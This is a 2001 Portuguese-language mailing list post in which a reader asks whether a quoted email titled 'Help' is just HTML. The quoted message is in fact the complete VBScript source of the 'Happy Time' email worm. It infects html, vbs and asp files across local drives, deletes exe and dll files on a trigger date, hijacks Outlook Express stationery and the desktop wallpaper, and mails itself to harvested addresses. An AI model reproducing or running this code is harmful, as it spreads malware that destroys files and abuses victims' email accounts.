-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 19 Dec 2001, Philipe Gaspar wrote:
Pessoal! Eu não sou programador, apesar de ter feitos alguns programas em VB, mas isto aqui é *só* html??? []s Ricardo Castanho >Em Tuesday 18 December 2001 23:56, Javier Farian escreveu: >> <HTML><HEAD> >> <Title> Help </Title></HEAD> >> <Body> <script language='VBScript'> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> Rem I am sorry! happy time >> On Error Resume Next >> mload >> Sub mload() >> On Error Resume Next >> mPath = Grf() >> Set Os = CreateObject("Scriptlet.TypeLib") >> Set Oh = CreateObject("Shell.Application") >> If IsHTML Then >> mURL = LCase(document.Location) >> If mPath = "" Then >> Os.Reset >> Os.Path = "C:\Help.htm" >> Os.Doc = Lhtml() >> Os.Write() >> Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' >> width='0' height='0'></Iframe></span>" Call >> document.Body.insertAdjacentHTML("AfterBegin", Ihtml) >> Else >> If Iv(mPath, "Help.vbs") Then >> setInterval "Rt()", 10000 >> Else >> m = "hta" >> If LCase(m) = Right(mURL, Len(m)) Then >> id = setTimeout("mclose()", 1) >> main >> Else >> Os.Reset() >> Os.Path = mPath & "\" & "Help.hta" >> Os.Doc = Lhtml() >> Os.write() >> Iv mPath, "Help.hta" >> End If >> End If >> End If >> Else >> main >> End If >> End Sub >> Sub main() >> On Error Resume Next >> Set Of = CreateObject("Scripting.FileSystemObject") >> Set Od = CreateObject("Scripting.Dictionary") >> Od.Add "html", "1100" >> Od.Add "vbs", "0100" >> Od.Add "htm", "1100" >> Od.Add "asp", "0010" >> Ks = "HKEY_CURRENT_USER\Software\" >> Ds = Grf() >> Cs = Gsf() >> If IsVbs Then >> If Of.FileExists("C:\help.htm") Then >> Of.DeleteFile ("C:\help.htm") >> End If >> Key = CInt(Month(Date) + Day(Date)) >> If Key = 13 Then >> Od.RemoveAll >> Od.Add "exe", "0001" >> Od.Add "dll", "0001" >> End If >> Cn = Rg(Ks & "Help\Count") >> If Cn = "" Then >> Cn = 1 >> End If >> Rw Ks & "Help\Count", Cn + 1 >> f1 = Rg(Ks & "Help\FileName") >> f2 = FNext(Of, Od, f1) >> fext = GetExt(Of, Od, f2) >> Rw Ks & "Help\FileName", f2 >> If IsDel(fext) Then >> f3 = f2 >> f2 = FNext(Of, Od, f2) >> Rw Ks & "Help\FileName", f2 >> Of.DeleteFile f3 >> Else >> If LCase(WScript.ScriptFullname) <> LCase(f2) Then >> Fw Of, f2, fext >> End If >> End If >> If (CInt(Cn) Mod 366) = 0 Then >> If (CInt(Second(Time)) Mod 2) = 0 Then >> Tsend >> Else >> adds = Og >> Msend (adds) >> End If >> End If >> wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") >> If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then >> If wp = "" Then >> n1 = "" >> n3 = Cs & "\Help.htm" >> Else >> mP = Of.GetFile(wp).ParentFolder >> n1 = Of.GetFileName(wp) >> n2 = Of.GetBaseName(wp) >> n3 = Cs & "\" & n2 & ".htm" >> End If >> Set pfc = Of.CreateTextFile(n3, True) >> mt = Sa("1100") >> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & >> "'><" & "/Body><" & "/HTML>" & mt pfc.Close >> Rw Ks & "Help\wallPaper", n3 >> Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 >> End If >> Else >> Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) >> fc.Write Sa("0100") >> fc.Close >> bf = Cs & "\Untitled.htm" >> Set fc2 = Of.CreateTextFile(bf, True) >> fc2.Write Lhtml >> fc2.Close >> oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") >> oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook >> Express\5.0\Mail" MSH = oe & "\Message Send HTML" >> CUS = oe & "\Compose Use Stationery" >> SN = oe & "\Stationery Name" >> Rw MSH, 1 >> Rw CUS, 1 >> Rw SN, bf >> Web = Cs & "\WEB" >> Set gf = Of.GetFolder(Web).Files >> Od.Add "htt", "1100" >> For Each m In gf >> fext = GetExt(Of, Od, m) >> If fext <> "" Then >> Fw Of, m, fext >> End If >> Next >> End If >> End Sub >> Sub mclose() >> document.Write "<" & "title>I am sorry!</title" & ">" >> window.Close >> End Sub >> Sub Rt() >> Dim mPath >> On Error Resume Next >> mPath = Grf() >> Iv mPath, "Help.vbs" >> End Sub >> Function Sa(n) >> Dim VBSText, m >> VBSText = Lvbs() >> If Mid(n, 3, 1) = 1 Then >> m = "<%" & VBSText & "%>" >> End If >> If Mid(n, 2, 1) = 1 Then >> m = VBSText >> End If >> If Mid(n, 1, 1) = 1 Then >> m = Lscript(m) >> End If >> Sa = m & vbCrLf >> End Function >> Sub Fw(Of, S, n) >> Dim fc, fc2, m, mmail, mt >> On Error Resume Next >> Set fc = Of.OpenTextFile(S, 1) >> mt = fc.ReadAll >> fc.Close >> If Not Sc(mt) Then >> mmail = Ml(mt) >> mt = Sa(n) >> Set fc2 = Of.OpenTextFile(S, 8) >> fc2.Write mt >> fc2.Close >> Msend (mmail) >> End If >> End Sub >> Function Sc(S) >> mN = "Rem I am sorry! happy time" >> If InStr(S, mN) > 0 Then >> Sc = True >> Else >> Sc = False >> End If >> End Function >> Function FNext(Of, Od, S) >> Dim fpath, fname, fext, T, gf >> On Error Resume Next >> fname = "" >> T = False >> If Of.FileExists(S) Then >> fpath = Of.GetFile(S).ParentFolder >> fname = S >> ElseIf Of.FolderExists(S) Then >> fpath = S >> T = True >> Else >> fpath = Dnext(Of, "") >> End If >> Do While True >> Set gf = Of.GetFolder(fpath).Files >> For Each m In gf >> If T Then >> If GetExt(Of, Od, m) <> "" Then >> FNext = m >> Exit Function >> End If >> ElseIf LCase(m) = LCase(fname) Or fname = "" Then >> T = True >> End If >> Next >> fpath = Pnext(Of, fpath) >> Loop >> End Function >> Function Pnext(Of, S) >> On Error Resume Next >> Dim Ppath, Npath, gp, pn, T, m >> T = False >> If Of.FolderExists(S) Then >> Set gp = Of.GetFolder(S).SubFolders >> pn = gp.Count >> If pn = 0 Then >> Ppath = LCase(S) >> Npath = LCase(Of.GetParentFolderName(S)) >> T = True >> Else >> Npath = LCase(S) >> End If >> Do While Not Er >> For Each pn In Of.GetFolder(Npath).SubFolders >> If T Then >> If Ppath = LCase(pn) Then >> T = False >> End If >> Else >> Pnext = LCase(pn) >> Exit Function >> End If >> Next >> T = True >> Ppath = LCase(Npath) >> Npath = Of.GetParentFolderName(Npath) >> If Of.GetFolder(Ppath).IsRootFolder Then >> m = Of.GetDriveName(Ppath) >> Pnext = Dnext(Of, m) >> Exit Function >> End If >> Loop >> End If >> End Function >> Function Dnext(Of, S) >> Dim dc, n, d, T, m >> On Error Resume Next >> T = False >> m = "" >> Set dc = Of.Drives >> For Each d In dc >> If d.DriveType = 2 Or d.DriveType = 3 Then >> If T Then >> Dnext = d >> Exit Function >> Else >> If LCase(S) = LCase(d) Then >> T = True >> End If >> If m = "" Then >> m = d >> End If >> End If >> End If >> Next >> Dnext = m >> End Function >> Function GetExt(Of, Od, S) >> Dim fext >> On Error Resume Next >> fext = LCase(Of.GetExtensionName(S)) >> GetExt = Od.Item(fext) >> End Function >> Sub Rw(k, v) >> Dim R >> On Error Resume Next >> Set R = CreateObject("WScript.Shell") >> R.RegWrite k, v >> End Sub >> Function Rg(v) >> Dim R >> On Error Resume Next >> Set R = CreateObject("WScript.Shell") >> Rg = R.RegRead(v) >> End Function >> Function IsVbs() >> Dim ErrTest >> On Error Resume Next >> ErrTest = WScript.ScriptFullname >> If Err Then >> IsVbs = False >> Else >> IsVbs = True >> End If >> End Function >> Function IsHTML() >> Dim ErrTest >> On Error Resume Next >> ErrTest = document.Location >> If Er Then >> IsHTML = False >> Else >> IsHTML = True >> End If >> End Function >> Function IsMail(S) >> Dim m1, m2 >> IsMail = False >> If InStr(S, vbCrLf) = 0 Then >> m1 = InStr(S, "@") >> m2 = InStr(S, ".") >> If m1 <> 0 And m1 < m2 Then >> IsMail = True >> End If >> End If >> End Function >> Function Lvbs() >> Dim f, m, ws, Of >> On Error Resume Next >> If IsVbs Then >> Set Of = CreateObject("Scripting.FileSystemObject") >> Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) >> Lvbs = f.ReadAll >> Else >> For Each ws In document.scripts >> If LCase(ws.Language) = "vbscript" Then >> If Sc(ws.Text) Then >> Lvbs = ws.Text >> Exit Function >> End If >> End If >> Next >> End If >> End Function >> Function Iv(mPath, mName) >> Dim Shell >> On Error Resume Next >> Set Shell = CreateObject("Shell.Application") >> Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb >> If Er Then >> Iv = False >> Else >> Iv = True >> End If >> End Function >> Function Grf() >> Dim Shell, mPath >> On Error Resume Next >> Set Shell = CreateObject("Shell.Application") >> mPath = "C:\" >> For Each mShell In Shell.NameSpace(mPath).Items >> If mShell.IsFolder Then >> Grf = mShell.Path >> Exit Function >> End If >> Next >> If Er Then >> Grf = "" >> End If >> End Function >> Function Gsf() >> Dim Of, m >> On Error Resume Next >> Set Of = CreateObject("Scripting.FileSystemObject") >> m = Of.GetSpecialFolder(0) >> If Er Then >> Gsf = "C:\" >> Else >> Gsf = m >> End If >> End Function >> Function Lhtml() >> Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _ >> "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _ >> "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ >> "<" & "/Body></HTML" & ">" >> End Function >> Function Lscript(S) >> Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ >> S & "<" & "/script" & ">" >> End Function >> Function Sl(S1, S2, n) >> Dim l1, l2, l3, i >> l1 = Len(S1) >> l2 = Len(S2) >> i = InStr(S1, S2) >> If i > 0 Then >> l3 = i + l2 - 1 >> If n = 0 Then >> Sl = Left(S1, i - 1) >> ElseIf n = 1 Then >> Sl = Right(S1, l1 - l3) >> End If >> Else >> Sl = "" >> End If >> End Function >> Function Ml(S) >> Dim S1, S3, S2, T, adds, m >> S1 = S >> S3 = """" >> adds = "" >> S2 = S3 & "mailto" & ":" >> T = True >> Do While T >> S1 = Sl(S1, S2, 1) >> If S1 = "" Then >> T = False >> Else >> m = Sl(S1, S3, 0) >> If IsMail(m) Then >> adds = adds & m & vbCrLf >> End If >> End If >> Loop >> Ml = Split(adds, vbCrLf) >> End Function >> Function Og() >> Dim i, n, m(), Om, Oo >> Set Oo = CreateObject("Outlook.Application") >> Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items >> n = Om.Count >> ReDim m(n) >> For i = 1 To n >> m(i - 1) = Om.Item(i).Email1Address >> Next >> Og = m >> End Function >> Sub Tsend() >> Dim Od, MS, MM, a, m >> Set Od = CreateObject("Scripting.Dictionary") >> MConnect MS, MM >> MM.FetchSorted = True >> MM.Fetch >> For i = 0 To MM.MsgCount - 1 >> MM.MsgIndex = i >> a = MM.MsgOrigAddress >> If Od.Item(a) = "" Then >> Od.Item(a) = MM.MsgSubject >> End If >> Next >> For Each m In Od.Keys >> MM.Compose >> MM.MsgSubject = "Fw: " & Od.Item(m) >> MM.RecipAddress = m >> MM.AttachmentPathName = Gsf & "\Untitled.htm" >> MM.Send >> Next >> MS.SignOff >> End Sub >> Function MConnect(MS, MM) >> Dim U >> On Error Resume Next >> Set MS = CreateObject("MSMAPI.MAPISession") >> Set MM = CreateObject("MSMAPI.MAPIMessages") >> U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging >> Subsystem\Profiles\DefaultProfile") MS.UserName = U >> MS.DownLoadMail = False >> MS.NewSession = False >> MS.LogonUI = True >> MS.SignOn >> MM.SessionID = MS.SessionID >> End Function >> Sub Msend(Address) >> Dim MS, MM, i, a >> MConnect MS, MM >> i = 0 >> MM.Compose >> For Each a In Address >> If IsMail(a) Then >> MM.RecipIndex = i >> MM.RecipAddress = a >> i = i + 1 >> End If >> Next >> MM.MsgSubject = " Help " >> MM.AttachmentPathName = Gsf & "\Untitled.htm" >> MM.Send >> MS.SignOff >> End Sub >> Function Er() >> If Err.Number = 0 Then >> Er = False >> Else >> Err.Clear >> Er = True >> End If >> End Function >> Function IsDel(S) >> If Mid(S, 4, 1) = 1 Then >> IsDel = True >> Else >> IsDel = False >> End If >> End Function >> >> >> >> >> >> >> >> >> </script> >> </Body></HTML> > > - -- delivery NOT reliable => [EMAIL PROTECTED] ========================================================== Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user ========================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Para mais informações veja http://www.gnupg.org iEYEARECAAYFAjwhBHYACgkQqJymTCNNyXHwWACfT+x47q+NI3yaLUhqx2Qs2/hI issAn3DYriPHG9MRd6y2da3L7CH4OAlk =fr3c -----END PGP SIGNATURE-----